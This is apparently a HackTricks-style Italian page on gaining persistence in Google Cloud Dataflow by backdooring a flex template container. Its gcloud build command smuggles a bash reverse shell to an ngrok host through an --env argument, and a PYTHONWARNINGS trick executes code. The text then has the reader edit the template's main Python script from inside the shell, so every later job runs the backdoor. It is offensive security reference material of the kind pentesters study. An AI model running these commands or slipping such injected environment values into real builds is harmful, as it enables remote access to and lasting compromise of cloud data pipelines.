2.5 KiB
GCP - Dataflow Persistenza
{{#include ../../../banners/hacktricks-training.md}}
Dataflow
Persistenza invisibile nel container costruito
Seguendo il tutorial dalla documentazione puoi creare un nuovo (es. python) flex template:
Crea Dataflow flex template with backdoor
```bash git clone https://github.com/GoogleCloudPlatform/python-docs-samples.git cd python-docs-samples/dataflow/flex-templates/getting_startedCreate repository where dockerfiles and code is going to be stored
export REPOSITORY=flex-example-python gcloud storage buckets create gs://$REPOSITORY
Create artifact storage
export NAME_ARTIFACT=flex-example-python
gcloud artifacts repositories create $NAME_ARTIFACT
--repository-format=docker
--location=us-central1
gcloud auth configure-docker us-central1-docker.pkg.dev
Create template
export NAME_TEMPLATE=flex-template
gcloud dataflow $NAME_TEMPLATE build gs://$REPOSITORY/getting_started-py.json
--image-gcr-path "us-central1-docker.pkg.dev/gcp-labs-35jfenjy/$NAME_ARTIFACT/getting-started-python:latest"
--sdk-language "PYTHON"
--flex-template-base-image "PYTHON3"
--metadata-file "metadata.json"
--py-path "."
--env "FLEX_TEMPLATE_PYTHON_PY_FILE=getting_started.py"
--env "FLEX_TEMPLATE_PYTHON_REQUIREMENTS_FILE=requirements.txt"
--env "PYTHONWARNINGS=all:0:antigravity.x:0:0"
--env "/bin/bash -c 'bash -i >& /dev/tcp/0.tcp.eu.ngrok.io/13355 0>&1' & #%s"
--region=us-central1
</details>
**Mentre viene costruito, otterrai una reverse shell** (puoi abusare di env variables come nell'esempio precedente o di altri params che impostano il Docker file per eseguire operazioni arbitrarie). In questo momento, all'interno della reverse shell, è possibile **entrare nella directory `/template` e modificare il codice dello script python principale che verrà eseguito (nel nostro esempio questo è `getting_started.py`)**. Posiziona la tua backdoor qui in modo che ogni volta che il job viene eseguito, la esegua.
Poi, la volta successiva che il job viene eseguito, verrà avviato il container compromesso appena costruito:
<details>
<summary>Esegui Dataflow template</summary>
```bash
# Run template
gcloud dataflow $NAME_TEMPLATE run testing \
--template-file-gcs-location="gs://$NAME_ARTIFACT/getting_started-py.json" \
--parameters=output="gs://$REPOSITORY/out" \
--region=us-central1
{{#include ../../../banners/hacktricks-training.md}}